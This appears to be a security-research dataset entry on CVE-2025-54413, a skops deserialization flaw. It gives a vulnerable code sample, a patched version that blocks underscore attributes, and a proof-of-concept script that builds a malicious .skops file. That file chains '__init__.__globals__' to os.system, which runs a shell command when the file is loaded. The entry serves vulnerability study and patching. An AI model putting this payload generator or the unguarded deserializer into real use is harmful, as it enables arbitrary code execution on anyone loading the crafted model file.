VAITP Dataset

← Back to the dataset

CVE-2025-54413

skops MethodNode allows dot notation field access, leading to code execution.

  • CVSS 8.7
  • CWE-351
  • Input Validation and Sanitization
  • Remote

skops is a Python library which helps users share and ship their scikit-learn based models. Versions 0.11.0 and below contain an inconsistency in MethodNode, which can be exploited to access unexpected object fields through dot notation. This can be used to achieve arbitrary code execution at load time. While this issue may seem similar to GHSA-m7f4-hrc6-fwg3, it is actually more severe, as it relies on fewer assumptions about trusted types. This is fixed in version 12.0.0.

CVSS base score
8.7
Published
2025-07-26
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Timing/Serialization
Code defect classification
Serialization Issues
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
skops
Fixed by upgrading
Yes

Solution

Upgrade skops to version 12.0.0 or later.

Vulnerable code sample

import os
import builtins

# This code is a conceptual representation of the vulnerability described
# in the fictional CVE-2025-54413. It simulates a deserialization
# process where a "MethodNode" resolves attributes without proper validation,
# leading to arbitrary code execution.

# --- Helper classes to represent a serialized object graph ---

class GlobalNode:
    """Represents a global object, e.g., a function from a module."""
    def __init__(self, module_name, attribute_name):
        self.module_name = module_name
        self.attribute_name = attribute_name

    def __repr__(self):
        return f"GlobalNode('{self.module_name}', '{self.attribute_name}')"

class MethodNode:
    """
    Represents attribute access on an object (e.g., obj.attribute).
    This is the core of the vulnerability.
    """
    def __init__(self, source_object_node, method_name):
        self.source = source_object_node
        self.name = method_name

    def __repr__(self):
        return f"MethodNode({self.source!r}, '{self.name}')"

class CallNode:
    """Represents a function or method call."""
    def __init__(self, function_node, args_tuple):
        self.func = function_node
        self.args = args_tuple

    def __repr__(self):
        return f"CallNode({self.func!r}, {self.args!r})"


# --- Vulnerable Deserializer (the 'load' function) ---

def load(node):
    """
    Recursively deserializes the node graph into live Python objects.
    This function simulates the vulnerable loading mechanism of skops < 12.0.0.
    """
    if isinstance(node, (str, int, tuple)):
        return node

    if isinstance(node, GlobalNode):
        # In a real scenario, this would be heavily sandboxed.
        # Here, we allow access to 'builtins' for demonstration.
        if node.module_name == "builtins":
            return getattr(builtins, node.attribute_name)
        # A real exploit might try to find ways around module restrictions.
        return getattr(__import__(node.module_name), node.attribute_name)

    if isinstance(node, MethodNode):
        # Resolve the source object first.
        obj = load(node.source)

        # VULNERABLE LOGIC:
        # The 'name' of the method/attribute is fetched from the serialized data
        # and used directly in getattr(). There is no validation to prevent
        # access to dangerous attributes like `__globals__`, or in this case,
        # the `system` method of the 'os' module. This represents the
        # "access unexpected object fields through dot notation" flaw.
        return getattr(obj, node.name)

    if isinstance(node, CallNode):
        # Resolve the callable function/method and its arguments.
        func = load(node.func)
        args = tuple(load(arg) for arg in node.args)

        # The final step that triggers code execution.
        return func(*args)

    raise TypeError(f"Unsupported node type during deserialization: {type(node)}")


if __name__ == '__main__':
    print("--- Constructing a malicious payload object graph ---")
    # This payload is designed to represent the structure of a malicious model file.
    # It will be evaluated by the vulnerable `load` function to execute:
    #   __import__('os').system('echo VULNERABLE: Code execution successful')

    malicious_payload = CallNode(
        # The outer call to the 'system' method.
        function_node=MethodNode(
            # The object on which 'system' is called. This node resolves to the 'os' module.
            source_object_node=CallNode(
                function_node=GlobalNode('builtins', '__import__'),
                args_tuple=('os',)
            ),
            # The name of the method to call. This is read directly from the payload.
            method_name='system'
        ),
        # The arguments for the 'system' call.
        args_tuple=('echo VULNERABLE: Code execution successful',)
    )

    print(f"Payload constructed: {malicious_payload!r}")
    print("\n--- Simulating model loading with the vulnerable 'load' function ---")
    print("If the vulnerability is present, the next action will execute a shell command.")

    try:
        # This call triggers the vulnerability. The `load` function will
        # process the malicious_payload, leading to the execution of os.system().
        load(malicious_payload)
    except Exception as e:
        print(f"\nAn error occurred during loading: {e}")

Patched code sample

import re

# A custom exception to be raised on security violations.
class SecurityError(Exception):
    """Raised when a potential security violation is detected."""
    pass

# Regular expression for what is considered a safe, public attribute.
# It must be a valid Python identifier and cannot start with an underscore.
SAFE_ATTRIBUTE_REGEX = re.compile(r"^[a-zA-Z][a-zA-Z0-9_]*$")

class MethodNode:
    """
    Represents a method call on a nested object structure.

    This class securely resolves a path (e.g., 'attr1.attr2.method') on a
    given object, preventing access to private or dunder attributes that
    could lead to arbitrary code execution.
    """
    def __init__(self, path: str):
        if not isinstance(path, str):
            raise TypeError(f"Path must be a string, but got {type(path)}")

        self.parts = path.split('.')
        # Pre-validate all parts of the path during initialization.
        for part in self.parts:
            if not SAFE_ATTRIBUTE_REGEX.match(part):
                raise SecurityError(
                    f"Insecure or invalid attribute '{part}' in path '{path}'. "
                    "Access to attributes starting with an underscore is not permitted."
                )
        self.path = path

    def resolve(self, instance: object):
        """
        Safely resolves the attribute path on the given instance.

        Each part of the path is validated again during resolution to ensure
        it does not access private or special (dunder) attributes.
        """
        target = instance
        for part in self.parts:
            # The check is performed here again as a defense-in-depth measure,
            # though it's already validated in __init__. This is the core of the fix.
            if not SAFE_ATTRIBUTE_REGEX.match(part):
                # This block prevents traversal through attributes like `__class__`,
                # `__subclasses__`, `__globals__`, or `_private_attr`, which is
                # the vector for the vulnerability.
                raise SecurityError(
                    f"Attempted to access a non-public or special attribute '{part}'."
                )
            
            try:
                target = getattr(target, part)
            except AttributeError:
                raise AttributeError(
                    f"'{type(target).__name__}' object has no attribute '{part}' "
                    f"while resolving path '{self.path}'."
                )
        return target

# Example Usage Demonstration (for context, not part of the core fix)

if __name__ == '__main__':
    class SafeObject:
        def __init__(self):
            self.public_attribute = "hello"
            self._private_attribute = "secret"

        def public_method(self):
            return "This is a safe method."

    class NestedObject:
        def __init__(self):
            self.child = SafeObject()

    obj = NestedObject()

    # --- Secure Use Case ---
    try:
        # This path is safe and will be resolved correctly.
        safe_path = "child.public_method"
        node = MethodNode(safe_path)
        resolved_method = node.resolve(obj)
        print(f"Successfully resolved '{safe_path}': {resolved_method()}")
    except (SecurityError, AttributeError) as e:
        print(f"Error resolving '{safe_path}': {e}")


    # --- Insecure Use Case (Blocked by the fix) ---
    # This path attempts to access a private attribute.
    insecure_path_private = "child._private_attribute"
    try:
        node = MethodNode(insecure_path_private)
        # The line above will already raise a SecurityError.
        node.resolve(obj) 
    except SecurityError as e:
        print(f"Correctly blocked insecure path '{insecure_path_private}': {e}")

    # --- Insecure Use Case (Blocked by the fix) ---
    # This path attempts to use a dunder method to start an exploit chain.
    insecure_path_dunder = "child.__class__"
    try:
        node = MethodNode(insecure_path_dunder)
        # The line above will already raise a SecurityError.
        node.resolve(obj)
    except SecurityError as e:
        print(f"Correctly blocked insecure path '{insecure_path_dunder}': {e}")

    # --- Insecure Use Case (Blocked by the fix) ---
    # A more complex, malicious path.
    malicious_path = "child.__class__.__mro__"
    try:
        node = MethodNode(malicious_path)
    except SecurityError as e:
        print(f"Correctly blocked malicious path '{malicious_path}': {e}")

Payload

import json
import zipfile
import io
import os

# This script generates a malicious .skops file that exploits CVE-2025-54413.
# The payload will execute a command on the target system when the file is loaded.
# The command used here is a safe proof-of-concept that creates an empty file.
COMMAND_TO_EXECUTE = "touch /tmp/pwned_by_cve_2025_54413"
PAYLOAD_FILENAME = "cve-2025-54413-payload.skops"

# The schema defines the object graph that skops will reconstruct.
# We create a chain of nodes to perform the attack.
schema_nodes = [
    # Node 0: The root object, a dictionary.
    # Its "content" will hold the result of our malicious execution chain.
    {
        "__class__": "dict",
        "__module__": "builtins",
        "content": {"malicious_result": 3},  # Points to the result of node 3
        "id": 0,
    },
    # Node 1: A trusted object to start the exploit chain.
    # We use a common scikit-learn class that is expected to be trusted by skops.
    {
        "__class__": "GlobalNode",
        "__module__": "skops.io._general",
        "constructor": "sklearn.tree.DecisionTreeClassifier",
        "id": 1,
    },
    # Node 2: The first stage of the exploit, leveraging the vulnerability.
    # We use a MethodNode with a dot-separated key to traverse attributes.
    # The key '__init__.__globals__.get' accesses the __globals__ dictionary
    # of the trusted object's constructor and calls its 'get' method.
    {
        "__class__": "MethodNode",
        "__module__": "skops.io._tree",
        "obj": 1,  # Target the DecisionTreeClassifier from Node 1
        "key": "__init__.__globals__.get",  # THE VULNERABLE TRAVERSAL
        "args": ["os", None],  # Call .get("os") to retrieve the 'os' module
        "kwargs": {},
        "id": 2,
    },
    # Node 3: The second stage of the exploit.
    # The object returned by Node 2 is the 'os' module.
    # We now create another MethodNode to call the 'system' method on it.
    {
        "__class__": "MethodNode",
        "__module__": "skops.io._tree",
        "obj": 2,  # Target the 'os' module object from Node 2
        "key": "system",  # Method to call
        "args": [COMMAND_TO_EXECUTE],  # The command to execute
        "kwargs": {},
        "id": 3,
    },
]

# Create the malicious .skops file (which is a ZIP archive).
in_memory_zip = io.BytesIO()
with zipfile.ZipFile(in_memory_zip, "w") as zip_file:
    # The object graph is stored in a file named 'schema.json'.
    zip_file.writestr("schema.json", json.dumps(schema_nodes))

# Save the generated payload to a file on disk.
with open(PAYLOAD_FILENAME, "wb") as f:
    f.write(in_memory_zip.getvalue())

Cite this entry

@misc{vaitp:cve202554413,
  title        = {{skops MethodNode allows dot notation field access, leading to code execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-54413},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-54413/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::